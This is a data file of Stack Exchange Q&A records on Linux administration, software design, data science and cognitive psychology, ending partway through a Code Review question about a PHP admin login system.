{  "id": "_unix.387538"  , "question": "I have been working on getting a new Debian (Stretch) install working satisfactorily on my new computer (Lenovo X270), including setting up xmonad/xmobar. Since I am studying Japanese, I wanted to set up an IME, which I managed to do using fcitx/fcitx-mozc. However, I wanted to include a plugin in my xmobar setup that indicates whether the current input method (according to fcitx) is japanese or not. The Kbd plugin doesn't seem to do this, since fcitx doesn't directly interface with XKB (as far as I can tell), so it shows us all the time. I also haven't been able to find out any way of querying the current fcitx IM from a terminal. Is there any way to do this (as if this is possible, I might be able to hack together an xmobar indicator), or is it far more trouble than it  is worth?[For the record, I tried setting up ibus, but I had trouble with it, so I switched over to fcitx.]If necessary, I am more than happy to provide more details about my setup."  , "title": "Query current input method in fcitx [for xmobar]"  , "tags": "debian;xmonad;input method;fcitx"  , "accepted_answer": "Hint: you can query DBus, e.g. by qdbus console tool, so:$ qdbus org.fcitx.Fcitx /inputmethod GetCurrentIMAnother approach with xkb-switch: xkb-switch -p"  } 
{  "id": "_unix.224354"  , "question": "I'm new on Fedora and I would like to know how to install the little applet named indicator-cpufreq on my Fedora laptop cause my i7 4700HQ burn over 90C after few seconds when the average cpu charge is over 80%. I just would like to lower the CPU frequency to limit the temperature.For information, I already tried dnf install indicator-cpufreq but that didn't find the package and i don't find any help on other forums, do I need to add sources? How can I do that on Fedora?"  , "title": "How to install indicator-cpufreq on fedora 22?"  , "tags": "fedora;gnome;burning"  } 
{  "id": "_unix.165578"  , "question": "I've been told it's possible to use dd to reformat a portion of a Windows share drive from NTFS to ext3.  I'd like to do this to be able to preserve permissions when using rsync for backups, but I cannot get it to work.  I'm trying, from Unbuntu 12.04 and from Mac OS X.8.5, variants ofdd if=/dev/zero of=smb://WIN;username@IPaddress/path.ext3 bs=1024 count=1048576All of the variants of quotation mark presence/absence, single/double, and position I've tried all result in dd: smb://WIN: No such file or directorySmb to the remote directory works fine.  "  , "title": "dd over smb to reformat ntfs as ext3"  , "tags": "dd;smb"  } 
{  "id": "_datascience.8694"  , "question": "I frequently use Random Forest, Regularized Random Forest, Guided Random Forest, and similar tree models.The size of the data that I'm dealing with has grown beyond what I can work around using HPC and parallelism. It's typically large due to row length (observations) not columns (features). The data is also often not normally distributed.I have to make a choice between: Running a small number of trees (i.e. 50 or less) with either complete data or a relatively large and comparative sampleRunning several times the number of trees, but with a correspondingly scaled down sample sizeThere are work-arounds and for any 1 case -- for instance, I can do some ad hoc tests to see which I think will work better, but what I'm wondering is if there is a good theoretical (or robust empirical) reasoning to either guide the choice of approach over the other or to describe the tradeoff being made?In other words, I'm hoping that someone more comfortable with the math, statistics, and theory underlying this (type of) algorithm can offer some generalizable insight."  , "title": "Random Forests with Big Data - number of trees v. number of observations"  , "tags": "bigdata;random forest"  , "accepted_answer": "I would recommend using a combination of both options #1 and #2.You could first try tuning your hyper-parameters to find out till what extent could you reduce the number of trees to a point where the random forest model's prediction starts deteriorating on the test set.This is because changing the value of mtry, the randomly selected number of features for a new tree, is the only meaningful hyper-parameter that should impact accuracy of the model. Since averaging converges as the no. of trees increases, the no. of trees could be reduced to a point where its performance is not impacted as much. Hence, you need to iterate and choose a a limit beyond which very small number of trees may not produce a strong enough ensemble. A random forest needs works best by using more base learners for reducing the variance by averaging each individual tree's output.It is not clear from your case whether you're using the Random Forest for a a classification or a regression problem. In case this is a classification problem, and if your data-set is imbalanced in terms of ratio of positive vs. negative classes; then you could reduce the size of the training set by under-sampling the majority class to bring it nearer to a 1:1 ratio. Since you have a large number of records, such class based sampling could improve accuracy as well as reduce data size for training.Additionally, if you've got a fine tuned Random Forest with good performance, then you could also evaluate dropping features that are least important as determined by the algorithm on OOB samples. This would reduce the time taken to train the model."  } 
{  "id": "_unix.56550"  , "question": "This is hardly a theoretical question as many have done this, albeit there's very little information on the underlying processes.I'm developing a custom MIPS-based processor on which I would like to run Ubuntu. I'm quite baffled as to what to do next after you've designed the instruction set and the computer architecture itself. I need to be able to run a kernel and OS but how does it all tie in?At the moment I'm researching into designing a compiler for the Linux kernel to generate the appropriate assembly language. Is that a good way to go? What do I need to do after that?"  , "title": "Running the linux kernel and Ubuntu on custom processor"  , "tags": "linux;kernel;development;mips;assembly"  , "accepted_answer": "On the architecture side, you need more than an instruction set and a computer architecture. You also need to have:A CPU in some form (emulator, FPGA, silicon).A way of booting that processor: a way of getting the operating system into the memory that the processor runs at boot time. Most processors boot to code stored in ROM which either switches on some kind of flash memory and branches to it, or which loads some code from some storage media into RAM and branches to it. The next stage is an OS bootloader.Some peripherals  at a minimum, RAM, some kind of storage controller, and some input/output devices.On the software side, you will need:A compiler. Since you're using the MIPS architecture, any existing compiler targetting MIPS should be sufficient. If your instruction set extends the basic MIPS instruction set (e.g. with extra registers), you may need to extend the assembler accordingly.A kernel. Linux for MIPS already exists. You'll have to add support for what you customized in your architecture: boot, MMU, Drivers. You'll need to write drivers for all the pieces of computer architecture that you didn't take off-the-shelf.A bootloader. There are usually things in the bootloader that are very architecture-specific, but you can probably add the requisite support to an existing bootloader, e.g. by adding a machine definition to U-Boot.And that's about all. Once you have a kernel and bootloader, userland programs should just work. Patch the kernel and bootloader from an existing distribution, cross-compile it on your PC, and install. Ubuntu doesn't support MIPS, but Debian does (mips or mipsel depending on endianness)."  } 
{  "id": "_softwareengineering.169854"  , "question": "Can someone clarify the following things for me ?Let's say I want to build a website and add publicity to it so I can make money out of my work.I would use Html5 for the interface and C# with ASP.NET for the background programming.I would use Visual Studio as my IDE and SQL server as a database.This is just an example on the top of my head but I don't know where to start for the licenses.Do I need one :For VisualStudio and SQLServer only ?For VisualStudio, SQLServer and pay some kind of rights for Asp.net ?The whole package.. Both VisualStudio, SQlServer plus rights for Asp.net AND C# ?I know this question is a little vague but I really don't know where to start and the opinion of someone with experience int this might give me just the help I need to get started."  , "title": "Licensing a project"  , "tags": "licensing;copyright"  , "accepted_answer": "You can write .NET and T-SQL software in notepad and sell the result, same goes if you use IDEs. There are no licensing fee's for software based on the tools in .NET to create it, there may be if you try to release your software with third party assemblies that do not have free redistribution, but all the MS .NET and ASP.NET components are free to redistribute with appropriate license docs attached, not that you need to buy them.Also you obviously need buy licenses for any tools if you want to use them, like hosting it yourself using mssql means you need the license for the server you're running, but you don't need another license to sell the database file from your app."  } 
{  "id": "_unix.257209"  , "question": "I have a directory (currdir) with 24000 images on a centos/cpanel server.I want to split this directory by moving images from this directory into other directories (or sub-directories inside currdir) based on image dates.How to make it happen?"  , "title": "How to move (image) files to other directories based on files' dates"  , "tags": "files;date;move"  } 
{  "id": "_softwareengineering.193432"  , "question": "I'm working on a translator in C++. Basically I want to parse the file with translations and store it in my program, so I can perform search through the words and simply access the corresponding word. My file will look like that:word|translationsecond word|second translationetc. It doesn't have to be | as delimiter and the word can contain spaces. So after I store it in my program I want to search for a word and get the corresponding word easily.The question is, what is 'the best' way to store this dictionary? Should I use dynamic structures and link them? Maybe vectors? Or should I use two-dimensional array to store the 2 strings? Could you please propose to me how the structure will look like?"  , "title": "The best way to store dictionary from file"  , "tags": "c++;data structures"  , "accepted_answer": "Since you're going to search by the first word, I'd suggest using a Hashmap.A Hashmap is designed to solve exactly this issue: Search for a complicated key; It's also sometimes referred to as Dictionary, so you know it's about this.It works by defining a function (Which is called hash function) from the key-domain (word in your dictionary) to int, and then use these ints as the position in an array, where it stores both original key and value (word and translation).If your input is identical to some key, then the result of the hash function will give you the right int key, and you can complete your search very fast.For more information: http://en.wikipedia.org/wiki/HashmapGood luck :)"  } 
{  "id": "_softwareengineering.335799"  , "question": "TL;DRWhat procedure is followed when selecting bytes to represent opcodes? Are byte(s) for opcodes just randomly chosen, and them mapped to mnemonics?I recently learned from this answer that bytecode usually consists of instructions which have one opcode, which consists of a fixed number of bytes, and operands. Specifically this snippet from ratchet freak's answer:The bytecode itself is very often a very simple syntax. Where the first few bytes indicate what operation has to be performed and what operands are needed. The bytecode will be designed so that when reading byte per byte there is a unambiguous interpretation of the instructions.I took that advice and began designing my bytecode instruction set. But I soon came to a problem. Before I asked this question, I had tried to create opcodes using methods such as:# pseudo codeopcodes = {    'PUSH': convertToBytes(5),    'POP': convertToBytes(10),    'ADD': converToBytes(15),     etc...}As you can probably tell, in the above example I used integers that were multiples of five, and converted them to byte form. I was trying to create a way in which I could orderly map my opcodes, to something such as integers. This of course did not work because as each integer became larger, So did the number of bytes relative to each integer. Which meant that my opcodes would've been variable lengths.I then began to wonder if I was going about this the wrong way. I did some research to see how other languages design there opcodes. I found this webpage about CPU opcodes that said:The x86 CPU has a set of 8-16 bit codes that it recognizes and responds  to.  Each different code causes a different operation to take place  inside the registers of the CPU or on the buses of the system board.Here are three examples showing the bit patterns of three actual x86  opcodes, each followed by their one or more bytes of operands:And proceed to give an example:  Bit Pattern  ; operation performed by CPU  -----------  -------------------------------------------------------1. 10111000    ; MOVe the next two bytes into 16-bit register AX2. 00000101    ; ...the LSB of the number (goes in AL)3. 00000000    ; ...the MSB of the number (goes in AH)1. 00000001    ; ADD to the BX register2. 11000011    ; ...the contents of the AX register1. 10001001    ; (2-byte opcode!) MOVe the contents of BX to2. 00011110    ; ...the memory location pointed to3. 00100000    ; ...by these last4. 00000001    ; ...two bytesThis leads me to my question: What procedure is followed when selecting bytes to represent opcodes?. As in the above example, each instruction consists of one byte. How though, was that specific pattern of a byte picked?. Are byte(s) for opcodes just randomly chosen, and them mapped to mnemonics? eg:# pseudo codeopcodes = {    'PUSH': selectRandomByte(),    'POP': selectRandomByte(),    'ADD': selectRandomByte(),     etc...}Note: Let me clarify: When I say opcode, I am referring to the opcodes found in Virtual Machine bytecode, not CPU's. I apologize if this was not clear before. The example I gave with the CPU opcodes was only for illustration purposes only.Sourcesteaching.idallen.comHow exactly is bytecode parsed?"  , "title": "What is the procedure(if any) to select bytes to represent opcodes?"  , "tags": "programming practices;language agnostic;language design;byte;bytecode"  , "accepted_answer": "It's not random, but it may not be immediately apparent. And it may have evolved over time: the x86, architecture, for example, has been with us for nearly 40 years (1977), and has evolved from 16-bits to 32, to 64, with additional operations (such as MMX and SSE) added in that time.Architectures that have been around for a long time generally have some relationship between opcodes and the actual electrical signals used to control the CPU.In some architectures, such as the PDP-11, there is a clear plan to the opcodes. All opcodes fit into a 16-bit word, generally divided into 3-bit octal digits, with the following general usage:Bit 15: 1 for a byte operation, 0 for a word operatonBits 14-12: 0 indicates an instruction that takes a single operand, 1-6 indicates an instruction that takes two operands, 7 is for operations that don't follow the standard operand encoding.Bits 11-6: source operand for two-operand instructions, otherwise denotes the specific single-operand instruction.Bits 5-0: destination operand for two-operand instructions, otherwise the sole operand for single-operand instructions.In the case of Java bytecode, there's no underlying electrical architecture, and no real reason to put intelligence inside the structure of the bytecode, so related operations are grouped together and assigned sequential numbers. So while there's a reason that iconst_0 and iconst_1 have adjacent opcodes, there's (probably) no reason why those appear before the integer math opcodes."  } 
{  "id": "_unix.31593"  , "question": "My USB TV tuner (an ENUTV-2) just stopped working and now I have to buy a new one. While I was browsing options, I realized my biggest priority was to get one that had Linux drivers (lack of them was my biggest annoyance with the old tuner).Can anyone recommend a TV tuner that has Linux drivers? It could be either PCI-E card or a USB box, my priority is Linux support."  , "title": "Linux friendly TV tuner/receiver"  , "tags": "drivers"  , "accepted_answer": "The video4linux project keeps lists of supported cards, for example, analog PCI-e cards and analog USB devices. linux (the kernel) itself has a list of supported tuners under /Documentation/video4linux/CARDLIST.tuner."  } 
{  "id": "_cogsci.102"  , "question": "Both disciplines have historically been at each other's throats, and Radical Behaviorists like B.F. Skinner often completely reject cognitive psychology at a philosophical level.It seems that today Behaviorism has largely fallen by the wayside but certain principles like Operant Conditioning remain entirely valid. Are these two philosophies/schools of thought incompatible or part of a greater whole? Is Behaviorism still relevant?"  , "title": "Is Behaviorism incompatible with Cognitive Psychology?"  , "tags": "cognitive psychology;behaviorism"  , "accepted_answer": "I think cognitive scientists would say that these views are compatible, insofar as cogsci admits results from behaviorism as valid results to be explained by understanding the cognitive constructs underlying them.  Obviously (they would say) we have minds, our minds arise from physical processes in our brains, and as such have internal states that sometimes explicitly manifest in behavior, but other times do not manifest in any way that is perceivable.  This is not a problem for non-behaviorist cognitive scientists.Hardcore behaviorists, however, cannot be so accommodating.  Internal and non-manifest mental states are not admissible in their theoretical universe, and so what most cognitive scientists would have no difficulty in describing as a state change in some internal mental edifice, behaviorists must reframe as some kind of 'mental behavior' in the same way they tried to do with 'verbal behavior.'  Of course, if one is very rigorous, and pushes very hard on this behaviorist view, it is either rendered nonsensical, or becomes an excessively ornate re-statement of normative cognitive science in behaviorist language.  What this accomplishes I have no idea, although, to be honest, this seems to be nearly a straw man at this point.  Hardcore behaviorists are increasingly hard to spot in the wild."  } 
{  "id": "_unix.231022"  , "question": "I tried Fedora the other day and one thing which really annoyed me is how the title bar on windows disappears when I maximize them. I am using the Cinnamon desktop.How can I make it so the title bar does not disappear? I have found some answers for Gnome but not for Cinnamon."  , "title": "How can I keep the title bar showing in Fedora (Cinnamon desktop) when a window is maximized?"  , "tags": "fedora;cinnamon"  } 
{  "id": "_unix.243678"  , "question": "In a parent directory, I have several sub-directories, each of them contain one or more space-delimited text files.I have the following command that outputs what I want, but only for an individual file INPUTFILE.txtawk '{if (NF>4){print $1, $2, $3 , 0 } else {print $0}}' INPUTFILE.txtConsidering the fact that I have thousands sub-directories, and the file names will vary, how can I apply this command to all sub-directories; from the parent directory?"  , "title": "Apply a command to all subdirectories/files"  , "tags": "bash;directory;command"  , "accepted_answer": "First, cd to your desired parent directory.Then, make use of the find to run your awk command:find -type f -exec awk '{if (NF>4){print $1, $2, $3 , 0 } else {print $0}}' {} +Explanationit is already recursive by default so it will carry this out for all sub-directories-type f will limit to finding files , instead of both files and directoriesthe -exec somecommand {} + syntax runs a command, and puts the file paths found where you write {}the + option has been said to be more efficient because it only runs one instance of awk while putting the find results as arguments in {} whereas the other way of running it (not shown here) would run awk once per each file name and is said to be less efficient"  } 
{  "id": "_unix.73393"  , "question": "Suppose you tried something like this:$ paste ../data/file-{A,B,C}.datand realize that you want to sort each file (numerically, let's suppose) before pasting. Then, using process substitution, you need to write something like this:$ paste <(sort -n ../data/file-A.dat) \\        <(sort -n ../data/file-B.dat) \\        <(sort -n ../data/file-C.dat)Here you see a lot of duplication, which is not a good thing. Because each process substitution is isolated from one another, you cannot use any brace expansion or pathname expansion (wildcards) that spans multiple process substitution.Is there a tool that allows you to write this in a compact way (e.g. by giving sort -n and ../data/file-{A,B,C}.dat separately) and composes the entire command line for you?"  , "title": "Combining multiple process substitution"  , "tags": "bash;command line;process substitution"  , "accepted_answer": "Please see here, why eval can be dangerous to use. As you'll notice, it is a very powerful tool, but at the same time can cause a lot of damage.The following script will do what you want - safely.sort_ps () {     local cmd=$1 p=()    shift;    for f in $@; do        p+=(<(sort -n $f));    done    $cmd ${p[@]}}EDIT: Mr. Chazelas is right. I fixed my solution, so you can now use sort_ps paste file1.txt file2.txt file2.txt ... fileN.txt instead. Thank you Stephane for reviewing my answer.Sample output:rany$ sort_ps sprunge foo1.txt foo.txt http://sprunge.us/EBZf?/dev/fd/62http://sprunge.us/TQGC?/dev/fd/62"  } 
{  "id": "_unix.382339"  , "question": "I use sshfs to mount a folder from a synology NAS (DS216+) locally to my Ubuntu machine. The command I use issshfs -o uid=1234,gid=1234,allow_other,default_permissions mysynology.box.com: /mnt/local.folderThe mount is (initially) succesful, in the sense that I can cd to the mounted folder from my ubuntu box, create files, etc.However, when I try to use the mount for something actually useful, like to create/move/copy larger files in batch, or create/manipulate a git repo, the sshfs mount is reset, and I get a failed: Transport endpoint is not connected (107) error when I try to use the mount point from then on.Note that, I have used the same command to mount folders by sshfs from two other, different unix boxes, other than the Synology box, with absolutely no problem.What could be the cause / remedy to this problem?"  , "title": "Using sshfs with Synology NAS results in connection reset"  , "tags": "mount;sshfs;nas;synology"  } 
{  "id": "_webapps.104263"  , "question": "How can I see what profiles my page has viewed?  I found how to see what videos were viewed, but would like to see the profiles."  , "title": "I want to see what profiles my page has viewed in the past"  , "tags": "facebook"  } 
{  "id": "_softwareengineering.305961"  , "question": "I have a Product class which has among others an attribute Ean13 that encapsulates an EAN13 code. Here is a prototype of the Product class:@Entity@Table(name = tb_produtos)public class Product implements Serializable {    public Product() {    }    @Id    @GeneratedValue    private Integer id;    @ManyToOne    @JoinColumn(name = ID_FABRICANTE)    private Manufacturer manufacturer;    @Column(name = DESCRICAO)    private String description;    @Column(name = URL)    private String url;    @Embedded    private Ean13 ean;    @Transient    private Keywords keywords;    ... getters and setters.}At first, I implement the EAN class as follows:@Embeddablepublic class Ean13 {    private static final RuntimeException notValidEanException = new RuntimeException(NOT VALID EAN CODE);    @Column(name = ean_code, nullable = true, length = 13)    private String code;    public Ean13() {    }    public Ean13(String code) {        validate(code);        this.code = code;    }    private void validate(String code) {        if (code == null || code.length() != 13) {            throw notValidEanException;        }        if (!CharMatcher.DIGIT.matchesAllOf(code)) {            throw notValidEanException;        }        String codeWithoutVd = code.substring(0, 12);        int pretendVd = Integer.valueOf(code.substring(12, 13));        int e = sumEven(codeWithoutVd);        int o = sumOdd(codeWithoutVd);        int me = o * 3;        int s = me + e;        int dv = getEanVd(s);        if (!(pretendVd == dv)) {            throw notValidEanException;        }    }    private int getEanVd(int s) {        return 10 - (s % 10);    }    //mover estes metodos para outra classe.     //TODO: Java 8.     private int sumEven(String code) {        int sum = 0;        for (int i = 0; i < code.length(); i++) {            if (isEven(i)) {                sum += Character.getNumericValue(code.charAt(i));            }        }        return sum;    }    private int sumOdd(String code) {        int sum = 0;        for (int i = 0; i < code.length(); i++) {            if (!isEven(i)) {                sum += Character.getNumericValue(code.charAt(i));            }        }        return sum;    }    private boolean isEven(int i) {        return i % 2 == 0;    }    @Override    public String toString() {        return code;    }}As you can see, the way I implement the constructor throws a RuntimeException when the object is instantiated with an invalid code.An explanation about the Product class:In this particular case I will use this class to hold information about products in a crawler application, that crawl few web sites and collect information about these products. One of this information is the EAN code. In this case the product and EAN object will by instantiate in a service class. Some EAN codes the application grabs from the web site are not valid EAN codes (can be another code, or some other string). At first I want to save this products without any code until I created a way to store it. So at first I have to validate this EAN code before persist it. As you can see in the code above, I implement the validation in the method 'validate' that is called by constructor. In the way it is implemented, the validation will work more or less as follow:Product p = new Product ();try {    Ean13 e = new Ean13(somecode);    p.setEan13 (e);} catch (InvalidEanCodeRuntimeException e) {    //Log invalid ean code and product information. }persist(p);But there would be other ways to validate it. I can make implement a public method in the Ean13 class as follow:Product p = new Product ();Ean13 ean = new Ean13 (somecode);if (ean.isValidEan ()){    p.setEan13(ean);}or it could still be done as follows, putting the validation in an external util class:Product p = new Product ();String somecode = somecode;if (CodeUtil.isValidEan13 (somecode)){    p.setEan13(new Ean13(somecode));}Certainly there are many other ways to implement it would work. But I would like to implement this validation in the most correct way, clean and elegant as possible and / or promote a discussion on ways to implement this kind of validation."  , "title": "When a class represents a property that might be invalid, how should the validation be done?"  , "tags": "java;programming practices;domain driven design;domain model"  , "accepted_answer": "It depends on what your program is going to do with those objects. For example, if you are implementing a bar code scanner program, and in case of a scan error, the  requirement is to write the (invalid!) code the scanner has detected into a log file, or display it to the user, I can imagine a scenario where is makes sense to construct and process Ean object even if it is  invalid. If that is your case, it should be obvious you need an isValid method for something along the lines of:  Ean eanCode;  while(true)  {      eanCode = new Ean(ScanCode());      if(eanCode.isValid())         break;      LogScanError(eanCode);  }However, if your program always expects Ean objects to be valid, and there is absolutely no need for invalid objects, do the validation in the constructor, and throw an exception in case it fails. The example above might be implemented like  Ean eanCode;  bool scanOk=false;  while(!scanOk)  {      String code = ScanCode();      try      {          eanCode = new Ean(code);          scanOk=true;      }      catch(ValidationException ex)      {          LogScanError(code);      }  }This second variant has IMHO a light code smell, since it uses exceptions for control of flow, which is often seen as a bad practice.Thus I would prefer the isValid variant if you need the invalid Ean codes in more than one place in your program in a sensible manner, and the constructor variant if invalid Ean codes are a rare exception and their usage can be can be circumvented by implementing some code like above."  } 
{  "id": "_cstheory.27298"  , "question": "I'm looking through some lectures and books to understand the PCP verifier constructed by Hastad. I noticed that the subtle difference of an adaptive or non-adaptive PCP verifier seems to correspond to verifier with perfect or non-perfect completeness.In A tight characterization of NP with 3 query PCPs the authors point out that there are (due to Trevisan and Zwick) strong restrictions using non-adaptive PCPs, e.g.$$P = PCP_{1, \\frac{5}{8} + \\epsilon}(log(n), 3)$$and they construct an adaptive PCP finally showing that $NP = PCP_{1, \\frac{1}{2}+\\epsilon}(log (n), 3)$.Then again the definition in the textbook from Arora, Barak (and in other lectures) uses explicitly non-adaptive verifiers with perfect completeness (well, with soundness $\\frac{1}{2}$). Could someone give further explanations on this? Are different definitions with soundness paramter $\\frac{1}{2}$ equivalent?And one further question: Is it possible to construct a linear dictatorship test (as basis of the Hastad Verifier) which is complete AND non-adaptive?"  , "title": "Adaptive vs. non-adaptive PCP verifiers"  , "tags": "adaptive"  } 
{  "id": "_unix.85524"  , "question": "First, I'm not sure what window manager is running on my Mint installation.  The Control Center yields no clues.  Nevertheless - whatever I have is grabbing the emacs meta key (the option key on my Mac) and dropping down a window menu.Being a Mac person, I could do without any of those option key shortcuts into the menus.  Is there a way to turn them off completely?  Barring that, is there a way to at least tell the manager to listen for some obscure key, so that I can get my meta keystrokes into emacs?"  , "title": "emacs meta key and Mint window manager"  , "tags": "linux mint;window manager;key mapping"  } 
{  "id": "_datascience.5458"  , "question": "I have around 1,000 job ads in the filed of IT (in excel file). I want to find the skills which are mentioned in each of ads. and then find the similar jobs based on skills.My method: I created 12 categories Such as programming skills,  testing skills,  communication skills, network skills, ... . Each advertisement may belong to 3-4 categories. In this case, some said multi-variate classification or Multi label classification is useful. But I don't know how to do this kind of classification in RapidMiner.1- Does anyone know how to do multi-variate classification or Multi label classification in RapidMiner? or is there another way?2- Do you recommend classification in order to analysis required job skills? or another technique? 3- Is there any better way to classify the skills which are stated in job ads?I'm new in the field of text mining. Please let me know if you have any idea. Thanks"  , "title": "Classification of skills based on job ads"  , "tags": "machine learning;classification;nlp;text mining"  } 
{  "id": "_webapps.22186"  , "question": "I am using Google Blogger and would like to highlight the code. I tried a couple of ways, but not satisfied with the results. Can anyone share how they have done it?"  , "title": "How to highlight code in Blogger?"  , "tags": "blogger;code"  , "accepted_answer": "Alex Gorbatchev's SyntaxHighlighter is one of the most commonly used by software-related blogs for code highlighting. It lists several blogs that provide steps how to integrate it with the Blogger service."  } 
{  "id": "_unix.200306"  , "question": "I have a peculiar problem - as soon as Dummynet Kernel module is loaded and appropriate ipfw add pipe 1 from localhost to localhost command is issued, I no longer can ping localhost - I receive the ping: sendto: No buffer space available error.Has anyone dealt with this issue? Thank you in advance for your proposed solutions!"  , "title": "No buffer space available when using Dummynet in FreeBSD 9.3"  , "tags": "freebsd;ping;ipfw"  } 
{  "id": "_softwareengineering.136684"  , "question": "I have some confusion understanding the OpenUp/Basic process. It is described as an iterative process consisting of four phases:Inception,Elaboration,Construction, andTransition. I am not clear if a single iteration consists of all these phases or if we make several iterations within a single phase and then move to next phase. In the later case, it seems to be impractical but in former case feasibility of project can not be identified. Is there anyone who has experience implmenting it in the organisation?"  , "title": "OpenUp/Basic In Practice"  , "tags": "agile"  , "accepted_answer": "Open Up is a modified version of Rational Unified Process.[RUP][ R is for Rational]. It is customizable  software developemnet process [ Infact you should always customize it to your own needs...You should have AUP where A stands for Anergy :-) ]At RUP,OpenUP [and probably in your AUP] there are  4 phases.Each phase cosist of n iterations. Each iteration ends with executable software. But there may exception for this at Inception. At Inception you basically check/investigate  business-technological feasibility of software...You ask yourself should we do this, and if we want to do can we able to do it? For some large projects in order to answer those questions you may have to write some software...But this is so rare case...At Elaboration basically you take most risky-hard parts of the system and code it iteratively...So at the end of this phase you will had a solid architecture which is proven by most risky-hard part of the system features/requirements...You have executable architecture- not  architecture stay just on document...Then comes Construction in which you code relatively lower risk parts iteratively...This takes more time than the other phases generally...Then  Transition....bla bla bla....Shortly Each phase in RUP/OpenUP consiste of several[n] iterations...Each iteration generally result with executable code..At each iteration you basically do Requirement analysis-Implementation- Test - and produce small version of system whichcan be exceuted tested..At each iteration you incerement software...add some feature-valueRUP is iterative and incremental software developement process...To get more undestanding i advice you to read/watch those :Kruchten, What Is the Rational Unified Process? LinkKruchten, A Software Development Process for a Team of One LinkLarman,Kruchten,Bittner, How to Fail with the Rational Unified ProcessLinkIJI Consulting, Why Iterate? Understanding the Essentials ofIterative Development Watch at YoutubeIJI Consulting, Are you ready for Iterative Development Watch at youtube"  } 
{  "id": "_codereview.61101"  , "question": "After a lot of back and forth on various sites, reading articles, watching videos etc i still can not figure out the best way to secure my admin section.The session id is regenerated every page reload / action to make session hijacking / fixation more difficult.Let me know in the comments if you need any more details.My Goal:Securely log the user inSet a session / cookieAuthenticate the userDo this without HTTPSThe following code attempts to deal with authenticating the user / allowing use of the various admin pages / functions if successfully logged in, what am i missing?Config.php<?php session_name('wcx');session_start();session_regenerate_id(true);define( 'DB_HOST', '' ); // set database hostdefine( 'DB_USER', '' ); // set database userdefine( 'DB_PASS', '' ); // set database passworddefine( 'DB_NAME', '' ); // set database namespl_autoload_register(function ($class) {    require_once 'classes/class.'. $class .'.php';});$backend = new backend();?>Index.php<?phpdefine('WCX', TRUE);require_once('config.php');$pagearray = array('dashboard');if(isset($_COOKIE['wcxadmin'], $_SESSION['loggedin'], $_SESSION['session']) && $backend->isLoggedIn()===true) {    if(isset($_GET['page']) && !empty($_GET['page'])) {        $page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_STRING);    }    else {        $page = 'dashboard';    }    include_once('includes/header.php');    if(in_array($page, $pagearray, TRUE) && file_exists('includes/'.$page.'.php')) {        include_once('includes/'.$page.'.php');    }    else {        include_once('includes/404.php');    }    include_once('includes/footer.php');}else {    include_once('login.php');}?>Login.php<?phpif(!defined('WCX')) {   die('Direct access not permitted');}require_once(config.php);?><!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd><html xmlns=http://www.w3.org/1999/xhtml><head><meta http-equiv=Content-Type content=text/html; charset=utf-8 /><link href=css/login.css rel=stylesheet type=text/css /><title>WebCodex - Please Login</title></head><body>  <div id=loginwrapper><h2>WCX LOGIN</h2> <div id=loginformwrap>    <div id=loginformwrapper>            <form name=loginform method=post action=<?php $_SERVER['PHP_SELF']; ?>>            <table class=adminlogin>            <tr>            <td valign=top>            <input type=text class=default required=required name=username  value= placeholder=Username id=adminusername maxlength=80 style=text-align: center; width:280px; color: #333; onblur=this.style.color='#333' onfocus=this.style.color='#000'/>             </td>            </tr>            <tr>            <td valign=top>            <input type=password class=default required=required name=password  value= placeholder=Password id=adminpassword maxlength=80 style=text-align: center; width:280px; color: #333; onblur=this.style.color='#333' onfocus=this.style.color='#000'/>             </td>            </tr>            <tr>            <td colspan=2>            <input id=adminloginbutton type=submit name=login value=LOGIN />            </td>            </tr>            </table>        </form>    </div>    <?php     // SESSION ERRORS ARE SHOWN HERE    if(isset($_SESSION['errors'])) {        echo '<div class=loginerror>'.$_SESSION['errors'].'</div>';        // CLEAR THE SESSION ERRORS AFTER DISPLAYING THEM        $_SESSION['errors'] = '';    }     ?></div></div></body></html><?php    // IF LOGIN BUTTON PRESSED / FORM SUBMITTED    if (isset($_POST['login'])) {        $bits = 32;        $usercookie = 'Admin-'.bin2hex(openssl_random_pseudo_bytes($bits));        // SET THE LASTLOGIN AND SESSION VARIABLES        //$lastlogin = date('d / m / y - H:ia');        $session = bin2hex(openssl_random_pseudo_bytes($bits));        $active = 1;        // GRAB THE USERS INPUT        $username = $_POST['username'];        $password = $_POST['password'];        //SELECT PASSWORD WHERE USERNAME = $username using a Prepared Statement        $query = 'SELECT password FROM wcx_admin WHERE username = :username';        // PREPARE, BIND, EXECUTE, BIND THE RESULT TO A VAR $dbpass, FETCH, CLOSE        $stmt = $backend->queryIt($query);        $stmt = $backend->bind(':username', $username);        $stmt = $backend->execute();        $dbpass = $backend->getColumn();            // VERIFY USER INPUTTED PASSWORD WITH DB PASSWORD USING PHP FUNCTION password_verify()            if(password_verify($password, $dbpass)) {            // UPDATE ACTIVE AND LASTLOGIN WHERE USERNAME = $username            $query = 'UPDATE wcx_admin SET lastlogin = CURRENT_TIMESTAMP, session = :session WHERE username = :username';            // PREPARE, BIND, EXECUTE, CLOSE            $stmt = $backend->queryIt($query);            $stmt = $backend->bind(':session', $session);            $stmt = $backend->bind(':username', $username);                // IF THE ABOVE WENT WELL                if($backend->execute()) {                    // SET THE SESSION                     $_SESSION['username'] = $backend->cipher($username, 1);                     $_SESSION['loggedin'] = 1;                    $_SESSION['session'] = $session;                    // A 1 HOUR LOGIN COOKIE                    setcookie( 'wcxadmin', $usercookie, time()+3600);                    header('Location: index.php');                }            }                else {                    // IF ERRORS SET AN ERROR SESSION w/GENERIC ERROR MESSAGE / DO NOT GIVE TOO MUCH AWAY                    $_SESSION['errors'] = 'Incorrect Username or Password';                    // REFRESH THE PAGE TO SHOW THE ERROR                    header('Location: index.php');                }    }  ?>isLoggedIn Function// Is the User Logged In?public function isLoggedIn() {    if($_SESSION['loggedin'] === 1) {        return true;    }    else {        return false;    }}Logged in check on every page// Check for cookie and sessions / isLoggedIn booleanif(isset($_COOKIE['wcxadmin'], $_SESSION['loggedin'], $_SESSION['session']) && $backend->isLoggedIn()===true) {    //Do Something Here}Logout.php<?php require_once('config.php');if(isset($_COOKIE['wcxadmin'], $_SESSION['loggedin'], $_SESSION['session']) && $backend->isLoggedIn()===true) {    $session = $_SESSION['session'];    $query = 'UPDATE wcx_admin SET session = :sess WHERE session = :session ';    $stmt = $backend->queryIt($query);    $stmt = $backend->bind(':sess', $sess='');    $stmt = $backend->bind(':session', $session);    $logout = $backend->execute();    